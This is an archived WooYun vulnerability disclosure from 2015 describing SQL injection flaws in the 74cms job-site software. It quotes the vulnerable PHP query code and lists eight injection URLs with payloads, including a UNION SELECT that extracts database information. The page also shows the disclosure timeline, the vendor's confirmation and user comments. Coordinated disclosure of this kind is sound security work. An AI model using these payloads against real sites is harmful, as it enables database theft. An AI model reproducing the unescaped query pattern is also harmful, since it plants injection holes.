当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(45) 关注此漏洞

缺陷编号: WooYun-2015-137002

漏洞标题: 74cms 20150817 设计缺陷导致8处不同文件注入(gpc=off)

相关厂商: 74cms.com

漏洞作者: ′雨。认证白帽子

提交时间: 2015-08-26 10:50

公开时间: 2015-11-24 10:58

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-26: 细节已通知厂商并且等待厂商处理中
2015-08-26: 厂商已经确认,细节仅向厂商公开
2015-08-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-20: 细节向核心白帽子及相关领域专家公开
2015-10-30: 细节向普通白帽子公开
2015-11-09: 细节向实习白帽子公开
2015-11-24: 细节向公众公开

简要描述:

直接出数据。

详细说明:

http://**.**.**.**/download/74cms_v3.6_beta_20150817.zip

下载地址。



74cms的全局文件是include/common.inc.php

其中里面有



code 区域
if (!empty($_GET))
{
$_GET = help::addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = help::addslashes_deep($_POST);
}
$_COOKIE = help::addslashes_deep($_COOKIE);
$_REQUEST = help::addslashes_deep($_REQUEST);







但是当看到plus/ajax_common.php的时候

发现他包含的是

code 区域
* ----------------------------------------------------------------------------
* 这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和
* 使用;不允许对程序代码以任何形式任何目的的再发布。
* ============================================================================
*/
define('IN_QISHI', true);
require_once(dirname(dirname(__FILE__)).'/include/**.**.**.**mon.inc.php');
$act = !empty($_GET['act']) ? trim($_GET['act']) : '';





**.**.**.**mon.inc.php 来看看



code 区域
if(!defined('IN_QISHI')) exit('Access Denied!');
define('QISHI_ROOT_PATH', dirname(dirname(__FILE__)).'/');
error_reporting(E_ERROR);
require_once(QISHI_ROOT_PATH.'data/config.php');
ini_set('session.save_handler', 'files');
session_save_path(QISHI_ROOT_PATH.'data/sessions/');
session_start();
header("Content-Type:text/html;charset=".QISHI_CHARSET);
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
require_once(QISHI_ROOT_PATH.'include/common.fun.php');
PHP_VERSION > '5.1'?date_default_timezone_set("PRC"):'';
$timestamp = time();
$online_ip=getip();

$ip_address=convertip($online_ip);
$_CFG=get_cache('config');
$_PAGE=get_cache('page');
$_NAV=get_cache('nav');
$_CFG['wap_domain'] = $_CFG['wap_domain']==""?$_CFG['site_domain'].$_CFG['site_dir']."m":$_CFG['wap_domain'];
$_CFG['version']=QISHI_VERSION;
$_CFG['web_logo']=$_CFG['web_logo']?$_CFG['web_logo']:'logo.gif';
$_CFG['upfiles_dir']=$_CFG['site_dir']."data/".$_CFG['updir_images']."/";
$_CFG['site_template']=$_CFG['site_dir'].'templates/'.$_CFG['template_dir'];
execution_crons();





并没有对GET POST COOKIE 转义。。

导致了在gpc off的情况下 可闭合。



我把所有包含的是这个文件的都看了一下。



在plus/ajax_common.php中



code 区域
elseif($act=="hotword")
{

if (empty($_GET['query']))
{
exit();
}

$gbk_query=trim($_GET['query']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$gbk_query=utf8_to_gbk($gbk_query);
}

$sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";
$result = $db->query($sql);
while($row = $db->fetch_array($result))
{
$list[]="'".$row['w_word']."'";
}
if ($list)
{
$liststr=implode(',',$list);
$str="{";
$str.="query:'{$gbk_query}',";
$str.="suggestions:[{$liststr}]";
$str.="}";
exit($str);
}
}





可注入。

最新版的防注入轻松过。



其他地方的注入代码都不分析了,一样的原理。

1.png





直接出数据。



1: localhost/web/74cms/plus/ajax_common.php?query=' and 0 union select 1,user(),3 and '&act=hotword



2: localhost/web/74cms/plus/ajax_map.php?jobshow=key:::a'



3: localhost/web/74cms/plus/ajax_user.php?act=check_usname

POST:usname=a' and xxx



4: localhost/web/74cms/plus/ajax_street.php?act=alphabet&x=a' and o



5: localhost/web/74cms/m/plus/wap_ajax.php?act=ajaxjobslist&key=a'



6: localhost/web/74cms/m/connect_qq_client.php?act=binding_callback&openid=1' and



7: localhost/web/74cms/user/connect_qq_client.php?act=login_go&openid=a' and



8: localhost/web/74cms/user/plus/ajax_user.php?act=check_email

POST:email=a' and



都直接报错。

漏洞证明:

localhost/web/74cms/plus/ajax_common.php?query=' and 0 union select 1,user(),3 and '&act=hotword



1.png

修复方案:

**.**.**.**mon中也对GPC 转义

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-26 10:56

厂商回复:

感谢反馈!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-26 10:51 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:323 | 啥都不会....)
    0

    雨神6666666

  2. 2015-08-26 10:52 | HackPanda ( 普通白帽子 | Rank:117 漏洞数:16 | Talk is cheap,show me the shell.)
    0

    雨牛干上了

  3. 2015-08-26 10:53 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    雨牛 别这样。。

  4. 2015-08-26 10:53 | 猴子搬来的救兵 ( 路人 | Rank:0 漏洞数:1 | 专注于Android平台漏洞发现)
    0

    最近74cms曝光率很高,一上午看见两次了。

  5. 2015-08-26 11:00 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    @玉林嘎 哈哈

  6. 2015-08-26 11:03 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    @牛肉包子 他一交我那个首页就被下了..

  7. 2015-11-30 15:09 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)
    0

    gpc忽略了大问题啊

登录后才能发表评论,请先 登录